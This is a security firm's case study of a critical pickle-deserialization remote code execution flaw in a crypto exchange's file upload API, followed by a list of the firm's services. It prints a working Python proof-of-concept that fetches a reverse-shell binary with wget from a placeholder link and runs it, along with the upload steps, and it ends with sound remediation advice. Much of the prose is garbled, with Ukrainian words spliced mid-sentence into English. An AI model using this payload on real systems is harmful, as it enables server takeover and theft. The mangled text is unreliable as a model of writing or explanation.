Remote Code Execution via Unsafe File Upload

як Сервіс: Web Application Pentest
Industry: Crypto Exchange
Region: Spain
Background
A security audit of a crypto exchange revealed a critical vulnerability in its backend infrastructure. Although the primary focus was on the on-chain smart contracts, auditors discovered a severe flaw in the file upload API. The vulnerability was rated Severity: Critical with a CVSS base score of 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). This case highlights how flaws in off‑chain services can undermine a project’s security, even if the smart contracts themselves are bug‑free.
Серйозність: Критичний
CVSS Score: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected Module: File Upload API
Exploit Complexity: Low
Discovery — Reproducing Remote Code Execution
В Безпеки began by inspecting в file upload API responsible for handling користувач documents. By analyzing server-side behavior и (джерело) code, we виявлений that uploaded files were read и passed directly into cPickle.loads().
Exploit POC:
#!/usr/bin/python
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
import cPickle
import sys
import base64
class PickleRce(object):
def __reduce__(self):
import os
import urllib2
cmd = 'wget [link to reverse tcp]; ./reverse_tcp'
return (os.system,( cmd, ))
#cPickle.loads(cPickle.dumps(PickleRce()))
open('payload', 'wb+').write(cPickle.dumps(PickleRce()))
Upload Test Flow:
- Crafted a malicious object in Python with a custom __reduce__ method.
- Serialized it using cPickle.dumps() and saved the result to a binary payload.
- Uploaded the binary payload via the platform’s file upload endpoint.
- The backend deserialized the data using cPickle.loads() without validation.
- This led to command execution on the server, confirming RCE.
Technical Root Cause
В корінь cause was trusting Python’s insecure pickle format. The pickle (и cPickle) module є inherently unsafe: в Python documentation warns that IT “є not secure” и that unpickling malicious data can execute arbitrary code. In particular, pickle uses нашу object’s __reduce__ protocol Для reconstruct objects, which means a pickle can encode calls Для any callable. . attacker can define a class whose __reduce__ returns something like (subprocess.Popen, (cmd,)), causing в unpickler Для invoke that call. In це case, в malicious pickle’s __reduce__ returned a subprocess (чи os.system) invocation, injecting a shell command into в deserialization process. Because в application did no validation на в uploaded data, це allowed arbitrary code execution на в сервер.
Real-World Risks
Exploiting this flaw could let attackers completely compromise the system, for example:
- A. Remote Shell Access: The attacker gains arbitrary command execution on the server (a full remote shell).
- B. Lateral Movement in Infrastructure: From the compromised host, an attacker can pivot to other internal systems and escalate privileges.
- C. Data Theft and Server Control: Sensitive files, databases or secrets on the server (logs, configs, user data) can be stolen or tampered with, effectively giving the attacker full server control.
- D. Private Key Exposure (if present on the server): For example, if deployment scripts or backups contain wallet credentials, these could be extracted.
з кібербезпеки
- Use Safe Serialization: Do not use cPickle (or pickle) on untrusted input. Instead, use safe formats such as JSON or protobufs for data interchange, which do not allow code execution.
- Validate and Sanitize Inputs: Rigorously check uploaded files and API inputs. Enforce strict file type checks, content validation, and size limits. As industry experts note, never blindly trust incoming data – always sanitize and verify any payload from untrusted sources.
- Isolate the Upload Handler: Run file processing in a restricted environment (e.g. a separate container or with minimal permissions) so that if an exploit occurs, its impact is contained. Apply the principle of least privilege to the upload service to limit potential damage.
Висновок
This incident underscores that off‑chain logic can be just as critical as on‑chain code. The industry’s heavy focus на smart contracts can “hide a deeper, more pervasive threat” в neglected Web2 components. In fact, experts warn that a “single weakness” в off-chain тестування can cause irreversible damage Для в блокчейн ecosystem. Robust auditing must include backend Послуги, API - інтерфейси и serialization routines – not just в блокчейн code – Для ensure overall system Служба підтримки.
All identifiers, domains, and user data in this case study have been anonymized to preserve client confidentiality.
Інші Послуги
Insomnia Security Scanner
AI-powered web application security scanner by CQR. Automated vulnerability discovery, exploit verification, and detailed reporting for modern applications.
Дізнатися більшеЗахист інфраструктури CRYEYE
Аудит безпеки за допомогою CryEye забезпечує інформаційну безпеку підприємства, захищаючи всю інфраструктуру.
Дізнатися більшеТестування на проникнення
Знайдіть вразливості у всій інфраструктурі вашого бізнесу раніше, ніж це зроблять хакери! У межах консалтингу з тестування на проникнення ми підберемо методи пентестів та інші індивідуальні рекомендації з кібербезпеки для вашого бізнесу.
Дізнатися більшеСоціальна Інженерія
Simulate real-world phishing, vishing, and pretexting attacks to measure and improve your team's security awareness and response capabilities.
Дізнатися більшеТестування Продуктивності
Усі види тестування навантаження і продуктивності вашої системи від компанії CQR, що спеціалізується на онлайн-безпеці.
Дізнатися більшеAI-Powered Vulnerability Assessment
Leverage artificial intelligence to discover, prioritize, and remediate vulnerabilities across your digital assets faster and more accurately than traditional scanners.
Дізнатися більшеCloud Security Audit (AWS / GCP / Azure)
Comprehensive security review of your cloud environments — IAM policies, network controls, data exposure, and misconfigurations across all major cloud platforms.
Дізнатися більшеDevSecOps Integration
Embed security into every stage of your CI/CD pipeline. Automated SAST, DAST, SCA, and secret scanning so vulnerabilities are caught before they reach production.
Дізнатися більшеAPI Security Testing
In-depth testing of REST, GraphQL, and SOAP APIs for authentication flaws, authorization bypasses, injection vulnerabilities, and data leakage risks.
Дізнатися більшеMobile Application Penetration Testing
Manual and automated security testing for iOS and Android applications — reverse engineering, runtime analysis, traffic interception, and backend API assessment.
Дізнатися більшеIoT Security Assessment
Evaluate firmware, communication protocols, cloud backends, and physical interfaces of IoT devices to identify vulnerabilities before attackers do.
Дізнатися більшеBlockchain & Smart Contract Audit
Formal verification and manual code review of smart contracts on Ethereum, Solana, and other chains. Detect reentrancy, overflow, and logic flaws before deployment.
Дізнатися більшеRed Team Operations
Advanced adversary simulation using real attacker TTPs (MITRE ATT&CK) to test your detection, response, and overall security posture under realistic conditions.
Дізнатися більшеThreat Intelligence & Monitoring
Continuous monitoring of threat feeds, dark web, and attacker infrastructure to provide actionable intelligence specific to your organization and industry.
Дізнатися більшеZero Trust Architecture Review
Assess and design your Zero Trust security model — identity verification, micro-segmentation, least-privilege access, and continuous validation controls.
Дізнатися більшеCompliance Consulting (PCI DSS / SOC 2 / GDPR)
Expert guidance to achieve and maintain compliance with major security frameworks. Gap analysis, remediation roadmaps, and audit-readiness support.
Дізнатися більшеDark Web Monitoring
Continuous surveillance of dark web forums, marketplaces, and breach databases for leaked credentials, sensitive data, or mentions of your organization.
Дізнатися більшеPhishing Simulation & Awareness Training
Controlled phishing campaigns combined with interactive security awareness training to build a human firewall across your entire organization.
Дізнатися більшеSupply Chain Security Audit
Assess third-party vendor risks, open-source dependencies, and software supply chain integrity to prevent attacks like SolarWinds and Log4Shell.
Дізнатися більшеContainer & Kubernetes Security
Security review of Docker images, Kubernetes clusters, RBAC policies, network policies, and runtime configurations to harden your container infrastructure.
Дізнатися більшеWeb Application Firewall (WAF) Deployment
Professional WAF setup, rule tuning, and ongoing management to block SQL injection, XSS, CSRF, and other OWASP Top 10 threats in real time.
Дізнатися більшеBug Bounty Program Management
Full lifecycle management of your bug bounty program — scope definition, researcher coordination, triage, validation, and remediation tracking.
Дізнатися більшеOSINT Investigation Services
Open-source intelligence gathering on individuals, organizations, and infrastructure. Ideal for pre-engagement recon, fraud investigation, and competitive analysis.
Дізнатися більшеDigital Forensics & Incident Response
Rapid response to security breaches — evidence collection, malware analysis, attacker timeline reconstruction, and actionable remediation recommendations.
Дізнатися більше